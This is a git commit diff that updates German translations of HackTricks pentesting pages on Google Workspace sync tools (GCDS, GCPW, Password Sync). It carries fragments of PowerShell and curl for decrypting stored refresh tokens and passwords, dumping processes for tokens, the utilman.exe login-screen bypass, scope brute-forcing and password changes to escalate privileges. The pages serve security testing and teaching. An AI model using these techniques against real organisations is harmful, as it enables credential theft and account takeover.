Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

This commit is contained in:
Translator
2025-01-21 17:41:59 +00:00
parent a8f4983e99
commit cb961283e0
42 changed files with 643 additions and 626 deletions

View File

@@ -9,7 +9,7 @@ Dies ist ein Tool, das verwendet werden kann, um **Ihre Active Directory-Benutze
Es ist interessant, weil es ein Tool ist, das die **Anmeldeinformationen eines Workspace-Superusers und eines privilegierten AD-Benutzers** erfordert. Daher könnte es möglich sein, es auf einem Domänenserver zu finden, der von Zeit zu Zeit Benutzer synchronisiert.
> [!NOTE]
> Um einen **MitM** auf die **`config-manager.exe`**-Binärdatei durchzuführen, fügen Sie einfach die folgende Zeile in die Datei `config.manager.vmoptions` ein: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> Um ein **MitM** auf die **`config-manager.exe`**-Binärdatei durchzuführen, fügen Sie einfach die folgende Zeile in die Datei `config.manager.vmoptions` ein: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> [!TIP]
> Beachten Sie, dass [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in der Lage ist, **GCDS** zu erkennen, Informationen über die Konfiguration zu erhalten und **sogar die Passwörter und verschlüsselten Anmeldeinformationen**.
@@ -49,12 +49,12 @@ Die interessantesten Informationen in der Datei wären:
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
```
Beachten Sie, wie das **refresh** **token** und das **password** des Benutzers mit **AES CBC** unter Verwendung eines zufällig generierten Schlüssels und IV, die in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** gespeichert sind (wo auch immer die **`prefs`** Java-Bibliothek die Einstellungen speichert), in den String-Schlüsseln **`/Encryption/Policy/V2.iv`** und **`/Encryption/Policy/V2.key`** in base64 gespeichert sind.
Beachten Sie, wie das **Refresh** **Token** und das **Passwort** des Benutzers mit **AES CBC** unter Verwendung eines zufällig generierten Schlüssels und IV, die in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** gespeichert sind (wo auch immer die **`prefs`** Java-Bibliothek die Einstellungen speichert), in den String-Schlüsseln **`/Encryption/Policy/V2.iv`** und **`/Encryption/Policy/V2.key`** in base64 gespeichert sind.
<details>
<summary>Powershell-Skript zum Entschlüsseln des Refresh-Tokens und des Passworts</summary>
```powershell
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -152,7 +152,7 @@ Write-Host "Decrypted Password: $decryptedPassword"
> [!NOTE]
> Beachten Sie, dass es möglich ist, diese Informationen zu überprüfen, indem Sie den Java-Code von **`DirSync.jar`** aus **`C:\Program Files\Google Cloud Directory Sync`** durchsuchen und nach der Zeichenfolge `exportkeys` suchen (da dies der CLI-Parameter ist, den die Binärdatei `upgrade-config.exe` erwartet, um die Schlüssel auszugeben).
Anstelle des PowerShell-Skripts ist es auch möglich, die Binärdatei **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** mit dem Parameter `-exportKeys` zu verwenden und den **Key** und **IV** aus der Registry im Hex-Format abzurufen und dann einfach CyberChef mit AES/CBC und diesem Schlüssel und IV zu verwenden, um die Informationen zu entschlüsseln.
Anstelle des Powershell-Skripts ist es auch möglich, die Binärdatei **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** mit dem Parameter `-exportKeys` zu verwenden und den **Key** und **IV** aus der Registry im Hex-Format abzurufen und dann einfach CyberChef mit AES/CBC sowie diesem Schlüssel und IV zu verwenden, um die Informationen zu entschlüsseln.
### GCDS - Tokens aus dem Speicher dumpen
@@ -162,7 +162,7 @@ Ich schätze, Sie könnten auch die konfigurierten AD-Anmeldeinformationen finde
<details>
<summary>Dump config-manager.exe Prozesse und nach Tokens suchen</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -250,7 +250,7 @@ https://www.googleapis.com/oauth2/v4/token
> [!NOTE]
> Beachten Sie, dass es selbst mit einem Refresh-Token nicht möglich ist, einen beliebigen Scope für das Access-Token anzufordern, da Sie nur die **Scopes anfordern können, die von der Anwendung unterstützt werden, in der Sie das Access-Token generieren**.
>
> Außerdem ist der Refresh-Token nicht in jeder Anwendung gültig.
> Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig.
Standardmäßig hat GCSD nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
@@ -321,6 +321,6 @@ curl -X POST \
# You could also change the password of a user for example
```
> [!CAUTION]
> Es ist nicht möglich, dem neuen Benutzer die Super Amin-Rolle zuzuweisen, da das **Aktualisierungstoken nicht über genügend Berechtigungen verfügt**, um die erforderlichen Privilegien zu gewähren.
> Es ist nicht möglich, dem neuen Benutzer die Super Admin-Rolle zuzuweisen, da das **Refresh-Token nicht über genügend Scopes verfügt**, um die erforderlichen Berechtigungen zu gewähren.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Grundlegende Informationen
Dies ist die Single Sign-On-Lösung, die Google Workspaces bereitstellt, damit Benutzer sich mit **ihren Workspace-Anmeldeinformationen** an ihren Windows-PCs anmelden können. Darüber hinaus werden Tokens zum Zugriff auf Google Workspace an einigen Stellen im PC gespeichert.
Dies ist die Single Sign-On-Lösung, die Google Workspaces bereitstellt, damit Benutzer sich mit **ihren Workspace-Anmeldeinformationen** an ihren Windows-PCs anmelden können. Darüber hinaus werden Tokens zur Zugriff auf Google Workspace an einigen Stellen im PC gespeichert.
> [!TIP]
> Beachten Sie, dass [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in der Lage ist, **GCPW** zu erkennen, Informationen über die Konfiguration zu erhalten und **sogar Tokens**.
@@ -27,8 +27,6 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
Neue Zeilen wurden hinzugefügt, um die Lesbarkeit zu verbessern.
> [!NOTE]
> Es war möglich, einen MitM durch die Installation von `Proxifier` auf dem PC durchzuführen, indem die `utilman.exe`-Binärdatei mit einer `cmd.exe` überschrieben und die **Zugänglichkeitsfunktionen** auf der Windows-Anmeldeseite ausgeführt wurden, die eine **CMD** ausführt, von der aus Sie **Proxifier starten und konfigurieren** können.\
> Vergessen Sie nicht, den **QUICK UDP**-Verkehr in `Proxifier` zu blockieren, damit er auf TCP-Kommunikation herabgestuft wird und Sie ihn sehen können.
@@ -40,7 +38,7 @@ Darüber hinaus ist es möglich, durch Hinzufügen der Schlüssel `enable_verbos
### GCPW - Fingerabdruck
Es ist möglich zu überprüfen, ob GCPW auf einem Gerät installiert ist, indem überprüft wird, ob der folgende Prozess existiert oder ob die folgenden Registrierungsschlüssel existieren:
```powershell
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -110,8 +108,8 @@ Innerhalb der Registry **`HKCU:\SOFTWARE\Google\Accounts`** könnte es möglich
<details>
<summary>Daten von <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> abrufen und refresh_tokens entschlüsseln</summary>
```powershell
<summary>Hole <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> Daten und entschlüssle refresh_tokens</summary>
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -165,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
```
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
```
Wie in [**diesem Video**](https://www.youtube.com/watch?v=FEQxHRRP_5I) erklärt, wenn Sie das Token in der Registrierung nicht finden, ist es möglich, den Wert zu ändern (oder zu löschen) von **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** und beim nächsten Zugriff des Benutzers auf den Computer muss er sich erneut anmelden und das **Token wird in der vorherigen Registrierung gespeichert**.
Wie in [**diesem Video**](https://www.youtube.com/watch?v=FEQxHRRP_5I) erklärt, wenn Sie das Token in der Registrierung nicht finden, ist es möglich, den Wert (oder zu löschen) von **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** zu ändern, und beim nächsten Zugriff des Benutzers auf den Computer muss er sich erneut anmelden, und das **Token wird in der vorherigen Registrierung gespeichert**.
### GCPW - Disk Refresh Tokens
@@ -186,8 +184,8 @@ Das folgende Skript kann verwendet werden, um jeden **Chrome**-Prozess mit `proc
<details>
<summary>Dump Chrome-Prozesse und nach Tokens suchen</summary>
```powershell
<summary>Dump Chrome-Prozesse und suche nach Tokens</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -262,11 +260,11 @@ Remove-Item -Path $dumpFolder -Recurse -Force
Ich habe dasselbe mit `gcpw_extension.exe` versucht, aber es wurde kein Token gefunden.
Aus irgendeinem Grund sind **einige extrahierte Zugriffstoken ungültig (obwohl einige gültig sein werden)**. Ich habe das folgende Skript ausprobiert, um Zeichen 1 nach dem anderen zu entfernen, um zu versuchen, den gültigen Token aus dem Dump zu erhalten. Es hat mir nie geholfen, einen gültigen zu finden, aber ich schätze, es könnte:
Aus irgendeinem Grund sind **einige extrahierte Zugriffstoken ungültig (obwohl einige gültig sein werden)**. Ich habe das folgende Skript ausprobiert, um Zeichen 1 für 1 zu entfernen, um zu versuchen, den gültigen Token aus dem Dump zu erhalten. Es hat mir nie geholfen, einen gültigen zu finden, aber ich schätze, es könnte:
<details>
<summary>Zugriffstoken überprüfen, indem Zeichen 1 nach dem anderen entfernt werden</summary>
<summary>Zugriffstoken überprüfen, indem Zeichen 1 für 1 entfernt werden</summary>
```bash
#!/bin/bash
@@ -314,7 +312,7 @@ https://www.googleapis.com/oauth2/v4/token
> [!NOTE]
> Beachten Sie, dass es selbst mit einem Refresh-Token nicht möglich ist, einen beliebigen Scope für das Access-Token anzufordern, da Sie nur die **Scopes anfordern können, die von der Anwendung unterstützt werden, in der Sie das Access-Token generieren**.
>
> Außerdem ist der Refresh-Token nicht in jeder Anwendung gültig.
> Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig.
Standardmäßig hat GCPW nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
@@ -348,7 +346,7 @@ Und dies ist die Ausgabe, die ich zum Zeitpunkt des Schreibens erhalten habe:
<details>
<summary>Brute-forced Scopes</summary>
<summary>Brute-forced scopes</summary>
```
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/calendar
@@ -463,12 +461,12 @@ https://www.googleapis.com/auth/wallet.chrome
```
</details>
Beachten Sie, dass das möglicherweise das interessanteste ist:
Beachten Sie, dass das interessanteste möglicherweise ist:
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
```
Ich habe jedoch versucht, diesen Scope zu verwenden, um auf Gmail zuzugreifen oder Gruppen aufzulisten, und es hat nicht funktioniert, also weiß ich nicht, wie nützlich es noch ist.
Ich habe jedoch versucht, diesen Scope zu verwenden, um auf Gmail zuzugreifen oder Gruppen aufzulisten, und es hat nicht funktioniert, daher weiß ich nicht, wie nützlich er noch ist.
**Erhalten Sie ein Zugriffstoken mit all diesen Scopes**:
@@ -587,11 +585,11 @@ https://www.googleapis.com/oauth2/v4/token
```
</details>
Einige Beispiele, die einige dieser Bereiche verwenden:
Einige Beispiele, die einige dieser Scopes verwenden:
<details>
<summary>https://www.googleapis.com/auth/userinfo.email &#x26; https://www.googleapis.com/auth/userinfo.profile</summary>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
@@ -763,7 +761,7 @@ curl -X POST \
**Google Workspace Vault** ist ein Add-on für Google Workspace, das Werkzeuge für die Datenaufbewahrung, -suche und -export für die Daten Ihrer Organisation bietet, die in Google Workspace-Diensten wie Gmail, Drive, Chat und mehr gespeichert sind.
- Ein **Matter** in Google Workspace Vault ist ein **Container**, der alle Informationen zu einem bestimmten Fall, einer Untersuchung oder einer rechtlichen Angelegenheit organisiert und gruppiert. Er dient als zentrales Hub für die Verwaltung von **Holds**, **Searches** und **Exports**, die sich auf dieses spezielle Thema beziehen.
- Ein **Hold** in Google Workspace Vault ist eine **Bewahrungsmaßnahme**, die auf bestimmte Benutzer oder Gruppen angewendet wird, um die **Löschung oder Änderung** ihrer Daten innerhalb der Google Workspace-Dienste zu **verhindern**. Holds stellen sicher, dass relevante Informationen während eines rechtlichen Falls oder einer Untersuchung intakt und unverändert bleiben.
- Ein **Hold** in Google Workspace Vault ist eine **Erhaltungsmaßnahme**, die auf bestimmte Benutzer oder Gruppen angewendet wird, um die **Löschung oder Änderung** ihrer Daten innerhalb der Google Workspace-Dienste zu **verhindern**. Holds stellen sicher, dass relevante Informationen während eines rechtlichen Falls oder einer Untersuchung intakt und unverändert bleiben.
```bash
# List matters
curl -X GET \

View File

@@ -10,9 +10,9 @@ Es wird in `C:\Program Files\Google\Password Sync` installiert, wo Sie die Binä
### GPS - Konfiguration
Um diese Binärdatei (und den Dienst) zu konfigurieren, ist es notwendig, **Zugriff auf ein Super Admin-Konto in Workspace** zu gewähren:
Um diese Binärdatei (und den Dienst) zu konfigurieren, ist es notwendig, **ihm Zugriff auf ein Super Admin-Konto in Workspace** zu gewähren:
- Anmeldung über **OAuth** mit Google, danach wird **ein Token im Registrierungseditor (verschlüsselt)** gespeichert
- Anmeldung über **OAuth** mit Google, danach wird **ein Token im Registrierungseditor (verschlüsselt) gespeichert**
- Nur verfügbar auf Domänencontrollern mit GUI
- Bereitstellung von **Service Account-Anmeldeinformationen von GCP** (json-Datei) mit Berechtigungen zur **Verwaltung der Workspace-Benutzer**
- Sehr schlechte Idee, da diese Anmeldeinformationen niemals ablaufen und missbraucht werden könnten
@@ -36,7 +36,7 @@ Das verschlüsselte **Passwort** (falls vorhanden) befindet sich im Schlüssel *
Das verschlüsselte Token (falls vorhanden) befindet sich im Schlüssel **`AuthToken`** und ist mit der **`CryptProtectData`** API verschlüsselt. Um es zu entschlüsseln, müssen Sie der gleiche Benutzer sein wie der, der die Passwortsynchronisierung konfiguriert hat, und diese **Entropie** verwenden, wenn Sie die **`CryptUnprotectData`** verwenden: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Darüber hinaus ist es auch mit base32hex unter Verwendung des Wörterbuchs **`0123456789abcdefghijklmnopqrstv`** codiert.
Die Entropiewerte wurden mit dem Tool gefunden. Es wurde konfiguriert, um die Aufrufe von **`CryptUnprotectData`** und **`CryptProtectData`** zu überwachen, und dann wurde das Tool verwendet, um `PasswordSync.exe` zu starten und zu überwachen, das das konfigurierte Passwort und das Auth-Token zu Beginn entschlüsselt, und das Tool wird **die Werte für die verwendete Entropie** in beiden Fällen **anzeigen**:
Die Entropiewerte wurden mit dem Tool gefunden. Es wurde konfiguriert, um die Aufrufe von **`CryptUnprotectData`** und **`CryptProtectData`** zu überwachen, und dann wurde das Tool verwendet, um `PasswordSync.exe` zu starten und zu überwachen, das das konfigurierte Passwort und das Auth-Token zu Beginn entschlüsseln wird, und das Tool wird **die Werte für die verwendete Entropie** in beiden Fällen **anzeigen**:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
@@ -52,7 +52,7 @@ Ich nehme an, Sie könnten auch die konfigurierten AD-Anmeldeinformationen finde
<details>
<summary>Dump <code>PasswordSync.exe</code> und die <code>password_sync_service.exe</code> Prozesse und suche nach Tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
@@ -144,7 +144,7 @@ https://www.googleapis.com/oauth2/v4/token
>
> Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig.
Standardmäßig hat GPS nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope, daher können wir mit dem folgenden Skript die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
Standardmäßig hat GPS nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
<details>
@@ -176,7 +176,7 @@ Und dies ist die Ausgabe, die ich zum Zeitpunkt des Schreibens erhalten habe:
```
https://www.googleapis.com/auth/admin.directory.user
```
Welches dasselbe ist, das Sie erhalten, wenn Sie keinen Geltungsbereich angeben.
Welche dasselbe ist, was Sie erhalten, wenn Sie keinen Geltungsbereich angeben.
> [!CAUTION]
> Mit diesem Geltungsbereich könnten Sie **das Passwort eines bestehenden Benutzers ändern, um Privilegien zu eskalieren**.